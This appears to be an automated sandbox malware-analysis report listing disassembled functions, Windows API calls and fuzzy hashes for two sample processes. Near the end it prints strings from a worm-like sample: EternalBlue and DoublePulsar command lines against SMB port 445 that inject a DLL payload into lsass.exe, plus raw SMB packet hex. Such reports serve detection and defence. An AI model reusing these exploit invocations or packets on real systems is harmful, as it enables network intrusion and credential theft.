GetTopWindow.USER32(?), ref: 0042208A
GetWindow.USER32(00000000,00000002), ref: 004220A5

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: 24e1d57d6d61591fce6ba78b0649eeaf59f90d115117af230bf84d7349d650fe
Instruction ID: d7568fb9a7fb340ad849001132855244f82b411cd609b275756c887e367f0640
Opcode Fuzzy Hash: 24e1d57d6d61591fce6ba78b0649eeaf59f90d115117af230bf84d7349d650fe
Instruction Fuzzy Hash: 3E01A732301275BBCF322F61AD04E9F7A99AF01794FC14026FF0091115DBB9D912D69D

Function 004220B5 Relevance: 6.0, APIs: 4, Instructions: 49windowCOMMON

Download Yara Rule

APIs

GetTopWindow.USER32(?), ref: 004220C3
SendMessageA.USER32(00000000,?,?,?), ref: 004220F9
GetTopWindow.USER32(00000000), ref: 00422106
GetWindow.USER32(00000000,00000002), ref: 00422124

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Window$MessageSend
String ID:
API String ID: 1496643700-0
Opcode ID: 479da7b23b104af245249304cf5095e389d6706ac86792ae1d26afe3f741ed7b
Instruction ID: 7524306f21d40b5a537e3eee9fe438f53cd8f499555542f41d1d33e65522d9bf
Opcode Fuzzy Hash: 479da7b23b104af245249304cf5095e389d6706ac86792ae1d26afe3f741ed7b
Instruction Fuzzy Hash: 7E01003220112ABBCF226F95AD08E9F3B65AF49350F854016FE0051161CB7AC972EFA9

Function 0041FEE9 Relevance: 6.0, APIs: 4, Instructions: 48windowCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32(?,?,?), ref: 0041FF11
GetFocus.USER32 ref: 0041FF24
GetParent.USER32(?), ref: 0041FF32
GetNextDlgTabItem.USER32(?,?,00000000), ref: 0041FF4E

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Item$EnableFocusMenuNextParent
String ID:
API String ID: 988757621-0
Opcode ID: ade37b3d9e71e0ad71ea39ad257ccb896ff6da5c52595a2ee138e0797b4681bd
Instruction ID: fd9ebea21f2f5a8159221a63b66f07a56747426449bd5b864a44a325021330b8
Opcode Fuzzy Hash: ade37b3d9e71e0ad71ea39ad257ccb896ff6da5c52595a2ee138e0797b4681bd
Instruction Fuzzy Hash: C6116531200600ABCB39DF20DC59B5BBBF5AF45714F51462EF542465A1CB78F887CB58

Function 00423C3F Relevance: 6.0, APIs: 4, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004,?,?), ref: 00423C6B
RegCloseKey.ADVAPI32(00000000,?,?), ref: 00423C74
wsprintfA.USER32 ref: 00423C90
WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 00423CA9

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: ClosePrivateProfileStringValueWritewsprintf
String ID:
API String ID: 1902064621-0
Opcode ID: f94ae8efcde4583ef44c3d06e1932a6989a0d936cdd6c10496a14407d54e5f96
Instruction ID: 1a937183d339a15bd9aeb3537947c7348db865377d0732d9cbeef9fb592b9a18
Opcode Fuzzy Hash: f94ae8efcde4583ef44c3d06e1932a6989a0d936cdd6c10496a14407d54e5f96
Instruction Fuzzy Hash: 01018F73600229ABCB229F64DC09FAA37B8BF04714F454426FA15A6150D679C5159B98

Function 00422686 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

GetObjectA.GDI32(00000000,0000000C,?), ref: 004226C4
SetBkColor.GDI32(00000000,00000000), ref: 004226D0
GetSysColor.USER32(00000008), ref: 004226E0
SetTextColor.GDI32(00000000,?), ref: 004226EA

Part of subcall function 004231C0: GetWindowLongA.USER32(00000000,000000F0), ref: 004231D1

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Color$LongObjectTextWindow
String ID:
API String ID: 2871169696-0
Opcode ID: b13ae171dce7e266be695e363f7f859ab6d186247d9588a8e31be8d38abc9f19
Instruction ID: ba8e776404c5aeae665b34f4030f3eb2fb43bfc12346090b10de3e1fd76daec9
Opcode Fuzzy Hash: b13ae171dce7e266be695e363f7f859ab6d186247d9588a8e31be8d38abc9f19
Instruction Fuzzy Hash: F1012C32200118BBDF315F64EE49BAE3B65BB08349F904522FD12D41A1C7F8DDA1EA59

Function 0042327F Relevance: 6.0, APIs: 4, Instructions: 29stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 0042328C
GetWindowTextA.USER32(?,?,00000100), ref: 004232A8
lstrcmpA.KERNEL32(?,?), ref: 004232BC
SetWindowTextA.USER32(?,?), ref: 004232CC

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: TextWindow$lstrcmplstrlen
String ID:
API String ID: 330964273-0
Opcode ID: e5610290f929acddc9f5fa483ccb645750bd055c7f0bea894d14c92ec5e49dc6
Instruction ID: bd090caf994917871bb3692d77820d20f2b3b1517bf5f475105f92a8bc78b402
Opcode Fuzzy Hash: e5610290f929acddc9f5fa483ccb645750bd055c7f0bea894d14c92ec5e49dc6
Instruction Fuzzy Hash: 80F05835600128EFCF326F20EC08ADA3B78EB087A1F8580A1F845D1120D778CE959BA8

Function 00417C09 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 00417C1D

Strings

, xrefs: 00417C42
, xrefs: 00417C66

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: 4c1d038cd69042ab5d99e787f2aec96efda05c7d1ceb3cab977e72b2a3b14870
Instruction ID: c50910e1bab94b01a94339c5bb1c10134e170925fc5f3b99c214253fb81ab4c6
Opcode Fuzzy Hash: 4c1d038cd69042ab5d99e787f2aec96efda05c7d1ceb3cab977e72b2a3b14870
Instruction Fuzzy Hash: 66416C3140825D5EEB12A724FD89BFF7FB8AF46704F1408EAE245CB152D3694984C7AA

Function 00411A90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00411ACC
MessageBoxA.USER32(00000000,?,error,00000010), ref: 00411B16

Strings

error, xrefs: 00411B0E

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Messagewsprintf
String ID: error
API String ID: 300413163-1574812785
Opcode ID: b080de6581d4c732aed0991d719905278f7bccc4f20e984e4221affa33bbd191
Instruction ID: 7e03f82ea6d45c726c3e58667f3cbd217ae484c7fee00893b503efd767797c6a
Opcode Fuzzy Hash: b080de6581d4c732aed0991d719905278f7bccc4f20e984e4221affa33bbd191
Instruction Fuzzy Hash: 77015271A452005BE720DB14EC55FFB37A8AB88701F40452DFE8593350F7B4A9848BAB

Function 00425039 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00483560,?,?,?,0041F04C,00000000,00000001), ref: 0042505F
DeleteCriticalSection.KERNEL32(00483578,?,?,?,0041F04C,00000000,00000001), ref: 00425071

Strings

x5H, xrefs: 00425066

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: CriticalDeleteSection
String ID: x5H
API String ID: 166494926-2140531694
Opcode ID: e849ee00f565d0f754d96d983c6d7df867869b26ee1de4721a47ba603d7f6a1c
Instruction ID: d60d31921793c44f3dfc99930be645610c5b69f73a833f5c542eb1d72415ca11
Opcode Fuzzy Hash: e849ee00f565d0f754d96d983c6d7df867869b26ee1de4721a47ba603d7f6a1c
Instruction Fuzzy Hash: D4E012F2A00614EBD6302F49FC8874EB264E750B67F95497BD40052161937D8E80CBED

Function 004245CD Relevance: 5.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0042462A
LeaveCriticalSection.KERNEL32(?,?), ref: 0042463A
LocalFree.KERNEL32(?), ref: 00424643
TlsSetValue.KERNEL32(?,00000000), ref: 00424659

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterFreeLeaveLocalValue
String ID:
API String ID: 2949335588-0
Opcode ID: 75f201ed116b71798e7e4fbba5f6748592d25252b63c42f18da109c4dc592303
Instruction ID: c9325fc0bafcddc02e2b934ac995f8f54da358d666384c765a498a8915960ae4
Opcode Fuzzy Hash: 75f201ed116b71798e7e4fbba5f6748592d25252b63c42f18da109c4dc592303
Instruction Fuzzy Hash: AC21AC31300220EFD724DF48E844B6A77B4FF86756F40806AE5428B2A1C7B9FC81CB64

Function 0041AD38 Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,00000050,00000000,00000000,0041AB00,00000000,00000000,00000000,0041673F,00000000,00000000,?,00000000,00000000,00000000), ref: 0041AD60
HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,0041AB00,00000000,00000000,00000000,0041673F,00000000,00000000,?,00000000,00000000,00000000), ref: 0041AD94
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 0041ADAE
HeapFree.KERNEL32(00000000,?), ref: 0041ADC5

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: d159ab6251752fa815462db6c5a6b486e2e26e3e5d9952007bac9872a43d419b
Instruction ID: 53f48b24d04bbfd6f3ebb3f0b1a80fed91f271a814c0a4d32f19a326793d18ff
Opcode Fuzzy Hash: d159ab6251752fa815462db6c5a6b486e2e26e3e5d9952007bac9872a43d419b
Instruction Fuzzy Hash: 27113A30200602AFD7318F58EC85AAA7BF6FB857257510A6DF162C65B0D370F992CB18

Function 0041B8A7 Relevance: 5.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,004189A6,?,00415F52), ref: 0041B8B4
InitializeCriticalSection.KERNEL32(?,004189A6,?,00415F52), ref: 0041B8BC
InitializeCriticalSection.KERNEL32(?,004189A6,?,00415F52), ref: 0041B8C4
InitializeCriticalSection.KERNEL32(?,004189A6,?,00415F52), ref: 0041B8CC

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection
String ID:
API String ID: 32694325-0
Opcode ID: 27935d5f11aa4f9457e99dc5f6da485d75780f86dafe51db796b91a311b3bd15
Instruction ID: eab02e3e8968bd7c4f97602f1e48a9b5885ae671facc6109e813366120eca226
Opcode Fuzzy Hash: 27935d5f11aa4f9457e99dc5f6da485d75780f86dafe51db796b91a311b3bd15
Instruction Fuzzy Hash: 19C002719120389ACA113B55FE058597F75EB843613050073E2049223097A11CA5EFDA

Analysis Process: MpMgSvc.exePID: 2800, Parent PID: 5924COMMON

Executed Functions

Function 00415A52 Relevance: 24.6, Strings: 18, Instructions: 2104COMMON

Download Yara Rule

Strings

7601, xrefs: 00417112
--TargetPort 445 --DllPayload x86.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll, xrefs: 0041738B
42c104ff000000000001001900005c5c, xrefs: 00416AAA
Windows 7, xrefs: 004171B4
5c49504324003f3f3f3f3f00, xrefs: 00416AF7
--TargetPort 445 --DllPayload x64.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll, xrefs: 00417308
2008, xrefs: 00417163
ff534d422500000000180128000000000000000000000000, xrefs: 00416E41
ff534d427500000000180128000000000000000000000000, xrefs: 00416A86
42c10dff000000dfff02000100000000000000000000000000400000002600002e0057696e646f7773203230303020323139350057696e646f7773203230303020352e3000, xrefs: 004166FB
Eternalblue-2.2.0.exe --TargetIp , xrefs: 00417205, 0041728D
", xrefs: 00416D79
ff534d427300000000180128000000000000000000000000, xrefs: 004166D7
Doublepulsar-1.3.1.exe --OutConfig LOG.txt --TargetIp , xrefs: 00417310, 00417393
00000054FF534D4272000000001801280000000000000000000000000000446D000042C1003100024C414E4D414E312E3000024C4D312E325830303200024E54204C414E4D414E20312E3000024E54204C4D20302E313200, xrefs: 0041639E
42c11000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00, xrefs: 00416E65
--Target WIN72K8R2 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig LOG.txt, xrefs: 004171FD
--Target XP --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig LOG.txt, xrefs: 00417285

Memory Dump Source

Source File: 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4108929604.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000C14000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000CF8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D04000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D24000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D26000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113879938.0000000000D34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113932426.0000000000D35000.00000004.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID:
String ID: --Target WIN72K8R2 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig LOG.txt$ --Target XP --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig LOG.txt$ --TargetPort 445 --DllPayload x64.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll$ --TargetPort 445 --DllPayload x86.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll$"$00000054FF534D4272000000001801280000000000000000000000000000446D000042C1003100024C414E4D414E312E3000024C4D312E325830303200024E54204C414E4D414E20312E3000024E54204C4D20302E313200$2008$42c104ff000000000001001900005c5c$42c10dff000000dfff02000100000000000000000000000000400000002600002e0057696e646f7773203230303020323139350057696e646f7773203230303020352e3000$42c11000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00$5c49504324003f3f3f3f3f00$7601$Doublepulsar-1.3.1.exe --OutConfig LOG.txt --TargetIp $Eternalblue-2.2.0.exe --TargetIp $Windows 7$ff534d422500000000180128000000000000000000000000$ff534d427300000000180128000000000000000000000000$ff534d427500000000180128000000000000000000000000
API String ID: 0-2770205589
Opcode ID: a42da3148885721f22a9131841dcc48d846f8d656d6f78ca873bcb0cc0f795ec
Instruction ID: 015e673edd1d7a03ffe0ab92dd15802cf3518b9141dbf4f00c8795f6d98aec3d
Opcode Fuzzy Hash: a42da3148885721f22a9131841dcc48d846f8d656d6f78ca873bcb0cc0f795ec
Instruction Fuzzy Hash: DBE279B1F40304ABEF10DB95DC92BDE77B4EB18714F14003AFA05BA382E779A9858756

Function 00418B5D Relevance: 24.6, Strings: 18, Instructions: 2104COMMON

Download Yara Rule

Strings

7601, xrefs: 0041A21D
--TargetPort 445 --DllPayload x86.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll, xrefs: 0041A496
42c104ff000000000001001900005c5c, xrefs: 00419BB5
Windows 7, xrefs: 0041A2BF
5c49504324003f3f3f3f3f00, xrefs: 00419C02
", xrefs: 00419E84
--TargetPort 445 --DllPayload x64.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll, xrefs: 0041A413
2008, xrefs: 0041A26E
ff534d422500000000180128000000000000000000000000, xrefs: 00419F4C
ff534d427500000000180128000000000000000000000000, xrefs: 00419B91
42c10dff000000dfff02000100000000000000000000000000400000002600002e0057696e646f7773203230303020323139350057696e646f7773203230303020352e3000, xrefs: 00419806
Eternalblue-2.2.0.exe --TargetIp , xrefs: 0041A310, 0041A398
ff534d427300000000180128000000000000000000000000, xrefs: 004197E2
Doublepulsar-1.3.1.exe --OutConfig LOG.txt --TargetIp , xrefs: 0041A41B, 0041A49E
00000054FF534D4272000000001801280000000000000000000000000000446D000042C1003100024C414E4D414E312E3000024C4D312E325830303200024E54204C414E4D414E20312E3000024E54204C4D20302E313200, xrefs: 004194A9
42c11000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00, xrefs: 00419F70
--Target WIN72K8R2 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig LOG.txt, xrefs: 0041A308
--Target XP --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig LOG.txt, xrefs: 0041A390

Memory Dump Source

Source File: 00000004.00000002.4109072853.0000000000401000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4108929604.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000C14000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000CF8000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D04000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D24000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D26000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4109072853.0000000000D2C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113879938.0000000000D34000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.4113932426.0000000000D35000.00000004.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MpMgSvc.jbxd

Yara matches

Similarity

API ID:
String ID: --Target WIN72K8R2 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig LOG.txt$ --Target XP --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig LOG.txt$ --TargetPort 445 --DllPayload x64.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll$ --TargetPort 445 --DllPayload x86.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll$"$00000054FF534D4272000000001801280000000000000000000000000000446D000042C1003100024C414E4D414E312E3000024C4D312E325830303200024E54204C414E4D414E20312E3000024E54204C4D20302E313200$2008$42c104ff000000000001001900005c5c$42c10dff000000dfff02000100000000000000000000000000400000002600002e0057696e646f7773203230303020323139350057696e646f7773203230303020352e3000$42c11000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00$5c49504324003f3f3f3f3f00$7601$Doublepulsar-1.3.1.exe --OutConfig LOG.txt --TargetIp $Eternalblue-2.2.0.exe --TargetIp $Windows 7$ff534d422500000000180128000000000000000000000000$ff534d427300000000180128000000000000000000000000$ff534d427500000000180128000000000000000000000000
API String ID: 0-2770205589
